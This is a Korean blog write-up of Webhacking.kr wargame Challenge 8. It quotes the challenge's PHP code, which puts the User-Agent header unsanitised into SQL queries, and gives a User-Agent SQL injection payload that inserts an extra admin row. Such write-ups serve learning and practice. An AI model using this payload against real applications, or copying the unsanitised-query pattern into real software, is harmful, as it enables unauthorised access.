티스토리 뷰

Wargame/Webhacking.kr

Challenge 8

do9dark 2015. 7. 5. 03:42


USER-AGENT

done! (1/70)

또는 USER-AGENT Access Denied! 를 볼 수 있다.

다른 정보를 얻기 위해서 소스를 보면 index.phps 에 대한 정보를 얻을 수 있다.



index.phps 소스 파일



index.phps 파일을 보면 ck[0] 값이 admin 되면 solve 문제가 풀리는 것을 알 수 있다.

ck 값을 어디서 가져오는 지 보면 아래와 같이 $_SERVER[HTTP_USER_AGENT]를 통해서 agent 를 비교하고 id를 가져오는 것을 알 수 있다.

$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);



공격을 할 수 있는 부분을 찾기 위해서 하단에 소스를 보면 DB에 삽입하는 부분을 볼 수 있다.

if(!$ck)

{

$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");

echo("<br><br>done!  ($count_ck[0]/70)");

}


문제를 풀기 위해서는 admin의 agent 값을 알아내거나 임의로 admin의 agent 값을 삽입해서 admin으로 우회해야 한다.

admin의 agent 값을 알아내기는 어렵기 때문에 INSERT 문에서 값을 다중으로 줘서 임의로 admin의 agent 값을 삽입할 수 있다.


INSERT INTO lv0 (agent,ip,id) VALUES ('$agent','$ip','guest');

여기에서 $agent 값으로 do9dark','none','admin'),('none 을 입력하면 다음과 같이 삽입 된다.

INSERT INTO lv0 (agent,ip,id) VALUES ('do9dark','none','admin'),('none','$ip','guest');



User-Agent: do9dark','none','admin'),('none

admin으로 확인할 수 있는 agent 값을 do9dark로 설정한다.



DB에 정상적으로 삽입이 된 것을 알 수 있다.



삽입한 데이터를 바탕으로 agent 값을 do9dark로 하면 id를 admin으로 삽입하였기 때문에 문제를 풀 수 있다. 



'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 13  (0) 2015.07.06
Challenge 12  (0) 2015.07.06
Challenge 11  (0) 2015.07.06
Challenge 10  (0) 2015.07.06
Challenge 9  (0) 2015.07.05
Challenge 7  (0) 2015.07.05
Challenge 6  (0) 2015.06.28
Challenge 5  (0) 2015.06.27
Challenge 4  (0) 2015.06.25
Challenge 3  (0) 2015.06.25
댓글
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
링크
공지사항
Total
Today
Yesterday